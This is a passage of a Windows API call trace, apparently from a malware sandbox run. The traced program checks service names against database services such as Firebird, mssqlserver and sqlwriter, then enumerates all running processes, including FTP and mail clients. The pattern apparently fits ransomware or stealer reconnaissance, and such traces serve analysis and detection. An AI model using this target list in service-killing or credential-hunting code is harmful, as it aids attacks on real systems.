	[0096.926] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0096.926] lstrlenW (lpString="StateRepository") returned 15
	[0096.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0096.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0096.926] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0096.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0096.926] lstrlenW (lpString="SysMain") returned 7
	[0096.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0096.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0096.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0096.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0096.927] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e949e0 | out: hHeap=0x500000) returned 1
	[0096.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0096.934] Process32FirstW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0096.935] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0096.935] lstrlenW (lpString="System") returned 6
	[0096.935] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0096.936] lstrlenW (lpString="smss.exe") returned 8
	[0096.936] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0096.937] lstrlenW (lpString="csrss.exe") returned 9
	[0096.937] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0096.937] lstrlenW (lpString="wininit.exe") returned 11
	[0096.937] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0096.938] lstrlenW (lpString="csrss.exe") returned 9
	[0096.938] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0096.938] lstrlenW (lpString="winlogon.exe") returned 12
	[0096.938] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0096.939] lstrlenW (lpString="services.exe") returned 12
	[0096.939] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0096.939] lstrlenW (lpString="lsass.exe") returned 9
	[0096.939] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.940] lstrlenW (lpString="svchost.exe") returned 11
	[0096.940] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0096.940] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0096.940] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0096.941] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0096.941] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.941] lstrlenW (lpString="svchost.exe") returned 11
	[0096.942] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0096.942] lstrlenW (lpString="dwm.exe") returned 7
	[0096.942] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.943] lstrlenW (lpString="svchost.exe") returned 11
	[0096.943] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.944] lstrlenW (lpString="svchost.exe") returned 11
	[0096.944] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.944] lstrlenW (lpString="svchost.exe") returned 11
	[0096.944] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.945] lstrlenW (lpString="svchost.exe") returned 11
	[0096.945] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.945] lstrlenW (lpString="svchost.exe") returned 11
	[0096.945] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.946] lstrlenW (lpString="svchost.exe") returned 11
	[0096.946] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.946] lstrlenW (lpString="svchost.exe") returned 11
	[0096.946] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.947] lstrlenW (lpString="svchost.exe") returned 11
	[0096.947] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.947] lstrlenW (lpString="svchost.exe") returned 11
	[0096.947] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.948] lstrlenW (lpString="svchost.exe") returned 11
	[0096.948] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0096.948] lstrlenW (lpString="spoolsv.exe") returned 11
	[0096.948] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.949] lstrlenW (lpString="svchost.exe") returned 11
	[0096.949] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0096.949] lstrlenW (lpString="audiodg.exe") returned 11
	[0096.950] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0096.950] lstrlenW (lpString="sihost.exe") returned 10
	[0096.950] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0096.951] lstrlenW (lpString="svchost.exe") returned 11
	[0096.951] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0096.951] lstrlenW (lpString="taskhostw.exe") returned 13
	[0096.951] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0096.952] lstrlenW (lpString="explorer.exe") returned 12
	[0096.952] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0096.952] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0096.952] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0096.953] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0096.953] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0096.954] lstrlenW (lpString="Memory Compression") returned 18
	[0096.954] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0096.954] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0096.954] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0096.955] lstrlenW (lpString="SearchUI.exe") returned 12
	[0096.955] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0096.955] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0096.955] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0096.956] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0096.956] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0096.956] lstrlenW (lpString="fur-hold.exe") returned 12
	[0096.956] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0096.957] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0096.957] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0096.957] lstrlenW (lpString="vat.exe") returned 7
	[0096.957] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0096.986] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0096.986] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0096.986] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0096.986] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0096.987] lstrlenW (lpString="paxiltried.exe") returned 14
	[0096.987] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0096.987] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0096.987] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0096.988] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0096.988] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0096.988] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0096.988] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0096.989] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0096.989] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0096.989] lstrlenW (lpString="ride_australian.exe") returned 19
	[0096.989] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0096.990] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0096.990] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0096.991] lstrlenW (lpString="rc remember.exe") returned 15
	[0096.991] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0096.991] lstrlenW (lpString="records replace.exe") returned 19
	[0096.991] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0096.992] lstrlenW (lpString="isp physiology.exe") returned 18
	[0096.992] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0096.992] lstrlenW (lpString="feb.exe") returned 7
	[0096.992] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0096.993] lstrlenW (lpString="citizenship.exe") returned 15
	[0096.993] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0096.993] lstrlenW (lpString="wifi.exe") returned 8
	[0096.993] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0096.994] lstrlenW (lpString="3dftp.exe") returned 9
	[0096.994] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0096.994] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0096.994] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0096.995] lstrlenW (lpString="alftp.exe") returned 9
	[0096.995] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0096.996] lstrlenW (lpString="barca.exe") returned 9
	[0096.996] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0096.997] lstrlenW (lpString="bitkinex.exe") returned 12
	[0096.997] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0096.998] lstrlenW (lpString="coreftp.exe") returned 11
	[0096.998] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0096.999] lstrlenW (lpString="far.exe") returned 7
	[0096.999] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0097.001] lstrlenW (lpString="filezilla.exe") returned 13
	[0097.001] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0097.001] lstrlenW (lpString="flashfxp.exe") returned 12
	[0097.002] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0097.002] lstrlenW (lpString="fling.exe") returned 9
	[0097.002] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0097.003] lstrlenW (lpString="foxmailincmail.exe") returned 18
